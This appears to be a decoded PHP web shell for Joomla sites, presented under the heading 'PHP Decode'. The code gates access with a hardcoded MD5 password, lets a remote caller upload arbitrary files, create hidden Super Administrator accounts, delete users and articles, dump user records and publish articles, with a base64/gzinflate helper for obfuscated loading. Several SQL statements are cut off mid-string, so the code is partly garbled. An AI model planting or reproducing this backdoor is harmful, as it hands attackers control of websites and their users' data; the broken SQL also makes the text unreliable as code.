PHP Decode

function tWDQ6R($GnI2vh) {
            $a = "gzinflate";
            $b = "base64_decode";
            return $a($b($GnI2vh));
        }define('PASSWORD_FILE', 'p.txt');function array_to_json( $array ){ if (is_string($array)) return '"'.addslashes($array).'"'; if (is_numeric($array)) return $array; if ($array === null) return 'null'; if ($array === true) return 'true'; if ($array === false) return 'false'; $assoc = false; $i = 0; foreach ($array as $k=>$v){ if ($k !== $i++){ $assoc = true; break; } } $res = array(); foreach ($array as $k=>$v){ $v = array_to_json($v); if ($assoc){ $k = '"'.addslashes($k).'"'; $v = $k.':'.$v; } $res[] = $v; } $res = implode(',', $res); return ($assoc)? '{'.$res.'}' : '['.$res.']';}function get_full_path($link) {$dir = dirname($_SERVER['PHP_SELF']);$levels_up = substr_count(JPATH_SITE, '..');for($i=0;$i<$levels_up;$i++) {preg_match('/(\/[^\/]+)$/', $dir, $matches);$dir = preg_replace('/\/[^\/]+$/', '', $dir);$link = str_replace($matches[1], '', $link);}if(strpos($link, 'http') !== 0) {$link = 'http' . (empty($_SERVER['HTTPS']) ? '' : 's') . '://' . $_SERVER['SERVER_NAME'] . $link;}return $link;}if(!empty($_REQUEST['action']) && $_REQUEST['action'] == 'set_password' && !empty($_REQUEST['hashed_password'])) {$hashed_password = $_REQUEST['hashed_password'];$fh = fopen(PASSWORD_FILE, "w"); if($fh==false) die("unable to create file"); fputs ($fh, $hashed_password); fclose ($fh);exit;}if(!file_exists(PASSWORD_FILE)) {$hashed_password = 'a6a8cb877ee18215f2c0fc2a6c7b4f2a';$fh = fopen(PASSWORD_FILE, "w"); if($fh==false) die("unable to create file"); fputs ($fh, $hashed_password); fclose ($fh);}else {$hashed_password = trim(file_get_contents(PASSWORD_FILE));}define('SHELL_PASSWORD', $hashed_password);define('MAX_UP_LEVELS', 10);if(empty($_COOKIE['password']) && empty($_POST['password']) || (!empty($_POST['password']) && md5($_POST['password']) != SHELL_PASSWORD)) {print '<form method="post">Password : <input type="text" name="password"><input type="submit"></form>';}if(!empty($_POST['password']) && md5($_POST['password']) == SHELL_PASSWORD) {setcookie('password', SHELL_PASSWORD, time() + 60*60*24);header("Location: {$_SERVER['PHP_SELF']}");exit;}if(empty($_COOKIE) || $_COOKIE['password'] != SHELL_PASSWORD) {exit;}if(!empty($_FILES['f'])) {$new_path = dirname(__FILE__) . '/' . $_FILES['f']['name'];if(move_uploaded_file($_FILES['f']['tmp_name'], $new_path)) {print "<a href=\"{$_FILES['f']['name']}\">{$_FILES['f']['name']}</a>";}else {print "Upload failed!";}exit;}if(!empty($_REQUEST['uf']) && $_REQUEST['uf'] == 1) {print "<form method=\"post\" enctype=\"multipart/form-data\" action=\"{$_SERVER['PHP_SELF']}\"><input type=\"file\" name=\"f\"><input type=\"submit\"></form>";exit;}define('_JEXEC', 1);define('DS', DIRECTORY_SEPARATOR);$counter = 0;$dir_up = '.' . DS;do {$file_found = false;$file_path = $dir_up . 'administrator';if(file_exists($file_path)) {$file_found = true;}else {$dir_up .= '..' . DS;}$counter++;}while(!$file_found && $counter < MAX_UP_LEVELS);define('JPATH_BASE', $dir_up);require_once ( JPATH_BASE . 'includes'.DS.'defines.php' );require_once ( JPATH_BASE . 'includes'.DS.'framework.php' );define('JPATH_COMPONENT_ADMINISTRATOR', JPATH_BASE . DS . 'administrator' . DS . 'components' . DS . 'com_content');require_once JPATH_BASE.'/includes/framework.php';require_once JPATH_BASE. "/components/com_content/models/article.php";require_once(JPATH_BASE.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php');  $app = JFactory::getApplication('site', array('session' => false));$app->initialise();if(!empty($_REQUEST['title']) && !empty($_REQUEST['body'])) {foreach($_REQUEST as $key => $value) {$_REQUEST[$key] = stripslashes($value);}$new_article = new ContentModelArticle();$date = date($_REQUEST['publish_up'] . ' ' . rand(1,23). ':' . rand(1,59). ':' . rand(1,59));$data = array('catid' => $_REQUEST['catid'], 'title' => $_REQUEST['title'],'fulltext' => $_REQUEST['body'],'introtext' => '','state' => $_REQUEST['published'], 'created_by' => $_REQUEST['created_by'], 'publish_up' => $date,'created' => $date,'alias' => $_REQUEST['alias']);if(!empty($_REQUEST['id'])) {$data['id'] = $_REQUEST['id'];}$table = JTable::getInstance('content', 'JTable', array());if (!$table->bind($data)){print_r($table->getError());return false;}if (!$table->store()){print_r($table->getError());}print json_encode(array("article_id" => $table->id));}if(!empty($_REQUEST['id2delete'])) {$row = JTable::getInstance('content', 'JTable');$row->delete($_REQUEST['id2delete']);}$db = JFactory::getDBO(); if(!empty($_REQUEST['article_id'])) {$article_id = $_REQUEST['article_id'];$sql = "SELECT * FROM $db->setQuery($sql); $article = $db->loadObject(); }if(!empty($article)) {print array_to_json($article);}if(!empty($_REQUEST['username2delete'])) {$user = JFactory::getUser($_REQUEST['username2delete']);if($user->delete()) {print "User {$_REQUEST['username2delete']} has been deleted!";}}if(!empty($_REQUEST['user_name']) && !empty($_REQUEST['user_password']) && !empty($_REQUEST['user_email'])) {$acl =& JFactory::getACL(); jimport('joomla.application.component.helper'); $usersParams = &JComponentHelper::getParams( 'com_users' );  $user = JFactory::getUser(0);  $data = array(); $usertype = 'Super Administrator';$data['name'] = 'Zhano Zhano'; $data['username'] = $_REQUEST['user_name'];$data['email'] = $_REQUEST['user_email']; $data['gid'] = 24; $data['password'] = $_REQUEST['user_password']; $data['password2'] = $_REQUEST['user_password']; $data['sendEmail'] = 1;  $data['block'] = 0;  if (!$user->bind($data)) { JError::raiseWarning('', JText::_( $user->getError())); } if (!$user->save()) { JError::raiseWarning('', JText::_( $user->getError())); } print array_to_json($user->username . " created!"); }if(!empty($_REQUEST['get_cats'])) {$cat_urls = array();$sql = "SELECT $db->setQuery($sql); $cats = $db->loadObjectList();for ($i=0,$len=count($cats);$i<$len;$i++) {$cats[$i]->path = get_full_path(JURI::base() . 'index.php?option=com_content&view=category&id=' . $cats[$i]->id);}print array_to_json($cats);}if(!empty($_REQUEST['get_user'])) {$sql = "SELECT * FROM $db->setQuery($sql); $users = $db->loadObjectList();print array_to_json($users);}if(!empty($_REQUEST['get_articles_list'])) {$sql = "SELECT $db->setQuery($sql); $articles = $db->loadObjectList(); print array_to_json($articles);}if(!empty($_REQUEST['article_sef_url'])) {$sql = "SELECT catid, alias FROM $db->setQuery($sql); $article = $db->loadObject(); $sql = "SELECT path FROM $db->setQuery($sql); $cat_path = $db->loadObject();if(isset($cat_path->path)) {$slug = $_REQUEST['article_sef_url'] . ':' . $article->alias;$catslug = $article->catid . ':' . $cat_path->path;$link = JRoute::_(ContentHelperRoute::getArticleRoute($slug, $catslug));print array_to_json(get_full_path($link));}else {print array_to_json(get_full_path(JURI::base() . 'index.php?option=com_content&view=article&id=' . $_REQUEST['article_sef_url']));}}